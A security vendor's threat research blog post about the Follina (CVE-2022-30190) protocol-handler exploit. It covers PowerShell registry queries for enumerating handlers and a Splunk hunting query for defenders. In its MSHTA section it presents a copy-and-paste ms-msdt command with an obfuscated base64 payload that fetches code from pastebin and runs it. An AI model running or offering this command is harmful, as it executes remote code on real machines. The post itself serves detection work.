What was dubbed Follina (or CVE-2022-30190) came and went. It was many things, but the part that may be of most interest was the use of protocol handlers. A protocol handler is an application that knows how to handle particular types of links. As an example, a mail client is a protocol handler for “mailto:”. When you click a “mailto:” link, the browser opens the application selected as the handler for the “mailto:” protocol (or offers them a choice of handlers, depending on their settings). Other widely used protocol handlers are “http:” “https:”. Albeit the abuse of protocol handlers is nothing new as we have many instances large and small that have been abused. As of February 2022, Microsoft disabled ms-appinstaller that was being abused within emotet attacks.
In this blog, the Splunk Threat Research Team (STRT) covers how to identify protocol handlers on an endpoint and different ways we can simulate adversary tradecraft that utilizes a protocol handler, and showcases a piece of inspiring hunting content to help defenders identify protocol handlers being used in their environment.
How Do We Find More Protocol Handlers?
Every Windows operating system will have protocol handlers and even more handlers based on software installed and registered in the Windows Registry.
The registry path HKEY_CLASSES_ROOT\ includes all the handlers.
For Follina or CVE-2022-30190, the attribute we want to find is “URL Protocol”. This potentially grants or provides the protocol handler the ability to make network communications.
In this use case, the STRT wanted to scope a Splunk lookup to only identify similar handlers as ms-msdt that have the URL Protocol attribute. With PowerShell we can run:
Get-Item Registry::HKEY_CLASSES_ROOT\* | Select-Object “Property”,”PSChildName” | Where-Object -Property Property -Match “^URL*” #|Export-Csv -path c:\temp\url_all.csv
(CSV is commented out in query)
What about no constraint? This dumps everything from the CLASSES ROOT path in the registry.
Get-Item Registry::HKEY_CLASSES_ROOT\* | Select-Object “Property”,”PSChildName” #|Export-Csv -path c:\temp\url_all.csv
(May want to export to CSV to review everything)
In addition to using PowerShell, there is a nice GUI utility from NirSoft called URLProtocolView. This provides a more visually appealing way to view the handlers and additional information related.
Simulate Protocol Handlers
Want to try out some more widely available protocol handlers? Check out AtomicTestHarnesses, Atomic Red Team, and John Hammond’s Follina repo. In hunting for URL Protocol above, some of these tests are using protocol handlers that are not related. The goal is to get additional options run and showcase how the lookup may be used and expanded upon.
T1218.001 — CompiledHTMFile
Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images and scripting/web related programming languages such as VBA, JScript, Java and ActiveX. (ref. https://attack.mitre.org/techniques/T1218/001/)
T1218.005 — MSHTA
Originally identified on May 27, 2022 and named Follina on May 29, 2022 by Kevin Beaumont, CVE-2022-30190 turned out to be a zero day using "ms-msdt" handler to execute PowerShell code.
A great example is John Hammond’s repository on GitHub that provides everything needed to test coverage.
In addition, as a quick test copy and paste this in a command prompt:
"C:\Windows\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(iex($(iex('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'aWV4KCdpZXgoezB9IHBhc3RlYmluezF9Y29tezJ9cmF3ezJ9ZkdnQnk2SEcpJy1mJ2lybScsJy4nLCcvJyk='+[char]34+'))'))))i../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"
Ms-word protocol handler
The following Atomic test utilizes the handler ms-msword to download a blank document.
How Can We Find and Hunt for More Protocol Handlers Being Used?
The precise signature would be to create an analytic on the most recently found protocol handler, which most teams did (we did!). There is nothing wrong with that! However, the STRT knew this would not be the last, and we wanted to ensure we shared a Splunk lookup and a way to hunt for more. This is meant to provide an overview of handlers being used in your environment today, known and potentially unknown.
After querying for all protocol handlers constrained to “URL Protocol” on Server 2016 and Windows 11, and deduplicating the two sets, a lookup was created based on it. It’s also possible to do the inverse and create the lookup based on all handlers, but it will be noisy and there is more.
The lookup the STRT has created is located in the Security Content repository.
The lookup is:
The STRT found that adding asterisks around the handler and including the colon generated less false positives. Even though the goal is to be as thorough as possible since the detections the STRT develop get deployed across thousands of SOCs, we concisely tuned the search appropriately.
You can see the final query below:
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process from datamodel=Endpoint.Processes by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | lookup windows_protocol_handlers handler AS process OUTPUT handler ishandler | where ishandler="TRUE"
Obvious false positive will come from HTTP*: , either remove it from the lookup or filter based on parent/process/command-line. In addition, because of the broad wildcards, some other handlers may need to be removed or filter out known good command-line.
As defenders we have to watch every angle when it comes to the Windows operating system. One protocol handler leads to another, as we have seen over the years. Baseline your organization's endpoints to identify additional protocol handlers and update the lookup. Not every handler is malicious, but the more we know about our data the more we can understand endpoint behavior.
Any feedback or requests? Feel free to put in an issue on Github and we’ll follow up. Alternatively, join us on the Slack channel #security-research. Follow these instructions If you need an invitation to our Splunk user groups on Slack.
We would like to thank the following for their contributions to this post:
- Teoderick Contreras
- Mauricio Velazco
- Michael Haag
- Rod Soto
- Lou Stella
- Jose Hernandez
- Patrick Barreiss
- Bhavin Patel
- Eric McGinnis